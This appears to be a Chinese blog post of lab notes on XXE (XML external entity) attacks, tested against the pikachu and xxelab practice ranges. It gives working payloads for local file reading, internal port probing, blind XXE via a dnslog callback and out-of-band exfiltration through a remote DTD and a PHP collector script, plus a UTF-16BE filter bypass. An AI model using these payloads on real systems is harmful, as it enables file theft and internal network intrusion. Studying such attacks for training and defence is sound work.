首页 > 其他分享 >6.2 XXE和XML利用

6.2 XXE和XML利用

时间:2024-06-02 17:12:58浏览次数:12  
标签:XML 文件 file 构造 dtd 6.2 XXE test payload


pikaqu靶场xml数据传输测试-有回显,玩法,协议,引入

1、构造payload

写文件

<?xml version="1.0" encoding="UTF-8" ?>
  <!DOCTYPE note[
  <!ENTITY write "good boy,this is a test"> ]>
  <note>
    &write;
  </note>


读文件

<?xml version="1.0" encoding="UTF-8" ?>
  <!DOCTYPE ANY[
  <!ENTITY xxe SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
  <x>
    &xxe;
  </x>

2、玩法-内网探针-内网应用攻击

<?xml version="1.0" encoding="UTF-8" ?>
  <!DOCTYPE foo[
  <!ELEMENT foo ANY>
  <!ENTITY rabbit SYSTEM "http://10.133.6.123:81/test.txt">]>
  <x>
    &rabbit;
  </x>

无回显

成功探测到80端口开放和81端口文件读取;

3、无回显,构造payload

<?xml version="1.0" ?>

<!DOCTYPE test [

    <!ENTITY % file SYSTEM "http://bsken8.dnslog.cn">

    %file;

]>

<user><username>&send;</username><password>Mikasa</password></user>

引入外部实体dtd(类似远程文件包含)

1、构造payload,读取test.txt内容,发送给http://127.0.0.1:81/test.dtd

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt">

<!ENTITY % remote SYSTEM "http://127.0.0.1:81/xxe.dtd">

%remote;

%all;

]>

<root>&send;</root>

xxe.dtd ,接收数据到get.php文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:81/get.php?file=%25file;'>">

get.php内容:将接收到的数据写入到file.txt文件中。

<?php
$data=$_GET['file'];

$myfile = fopen("file.txt", "w+");

fwrite($myfile, $data);

fclose($myfile);

?>

关键词ENTITY、SYSTEM、file过滤

使用编码绕过:UTF-16BE

xxelab靶场测试


抓包判断是否存在xml;
存在<user><username>1</username><password>1</password></user>

构造payload验证;

<?xml version="1.0"?>
  <!DOCTYPE Mikasa[
  <!ENTITY test SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
	<user><username>&test;</username><password>Mikasa</password></user>

标签:XML,文件,file,构造,dtd,6.2,XXE,test,payload
From: https://www.cnblogs.com/lusang/p/18227315

相关文章

  • 6.2 休息日 背包问题总结
    就目前所遇到的01背包与完全背包作总结。01背包有n件物品和一个最多能背重量为w的背包。第i件物品的重量是weight[i],得到的价值是value[i]。每件物品只能用一次,求解将哪些物品装入背包里物品价值总和最大。二维dp数组01背包动规五部曲1.确定dp数组以及下标的含义dp[i......
  • XML Web 服务技术解析:WSDL 与 SOAP 原理、应用案例一览
    XMLWeb服务是一种用于在网络上发布、发现和使用应用程序组件的技术。它基于一系列标准和协议,如WSDL、SOAP、RDF和RSS。下面是一些相关的内容:WSDL(Web服务描述语言):用于描述Web服务的基于XML的语言,定义了服务的接口、操作和消息格式SOAP(简单对象访问协议):是一种基于XML的协议......
  • MyBatis的XML配置:如何判断List为空并遍历拼接
    哈喽,大家好,我是木头左!大家好,欢迎来到我的博客!今天要聊一聊关于MyBatis的XML配置,如何在查询数据表时判断List是否为空,并进行遍历拼接。相信这个问题对于很多使用MyBatis的朋友来说都非常实用,所以请大家认真阅读哦!一、为什么需要判断List是否为空?在的日常开发中,经常会遇到需要......
  • 安防综合管理系统EasyCVR平台对接GA/T1400视图库:基于XML的消息体格式
    GA/T1400标准的应用范围广泛,涵盖了公安系统的视频图像信息应用系统,如警务综合平台、治安防控系统、交通管理系统等。在视频监控系统中,GA/T1400公安视图库的对接是实现视频图像信息传输、处理和管理的重要环节。以视频汇聚EasyCVR视频监控资源管理平台为例,该平台已经与GA/T14......
  • 视频汇聚EasyCVR平台对接GA/T 1400视图库:结构化数据(人员/人脸、车辆、物品)对象XMLSche
    在信息化浪潮席卷全球的背景下,公安信息化建设日益成为提升社会治理能力和维护社会稳定的关键手段。其中,GA/T1400标准作为公安视频图像信息应用系统的核心规范,以其结构化数据处理与应用能力,为公安信息化建设注入了强大的动力。GA/T1400标准全称为《公安视频图像信息应用系统》......
  • visual studio 中为命名空间添加xml注释
    UsingNamespaceDocandNamespaceGroupDocClasses(ewsoftware.github.io) UsingNamespaceDocandNamespaceGroupDocClassesIfyourbuildtoolsupportsit,namespacecommentscanalsobespecifiedandmaintainedinyoursourcecodebyaddinganempty Name......
  • 为 Spring Boot 2.6.2 JdbcTemplate 添加新数据源
    我有一个现有的SpringBoot2.6.2微服务,我们希望将调用添加到一个新的数据源。该服务将部署到使用Java8的Openliberty23.0.0.10。我创建了一个新的DAO:publicclassiSeriesDatabaseDao{@AutowiredprivateJdbcTemplatejdbcTemplate;publicStr......
  • 解决使用XDocument操作FlowDocument时XML被格式化的问题
    最近需要对WPF中的FlowDocument进行解析编辑操作,理想的办法是解析成FlowDocument对象,但是有些操作不是很方便。 FlowDocument实际上还是XML,我直接使用XDocument去进行解析操作更方便。如下就是一个FlowDocument的一个段落1<Sectionxmlns="http://schemas.microsoft.com/wi......
  • maven中排除依赖传递可以在pom.xml文件中使用exclusions标签
    在项目A中引入项目B的依赖,通过依赖传递,会把项目B中的jar都引进来,如果在项目A中不想使用项目B中的某些jar包,可以使用exclusions标签进行排除,具体该标签的用法:<!--mybatis-spring依赖--><dependency><groupId>org.mybatis</groupId>......
  • Mybatis的Xml映射文件
    XML映射文件1.首先xml文件要与mapper接口进行同包同名2.xml映射文件的命名空间namespace=“com.itheima.mapper.EmpMapper”3.xml文件中的sql语句的id要与mapper中的方法名保持一致如果是查询操作,那么要resultmap的类型与Emp保持一致那么我们就先根据这三点......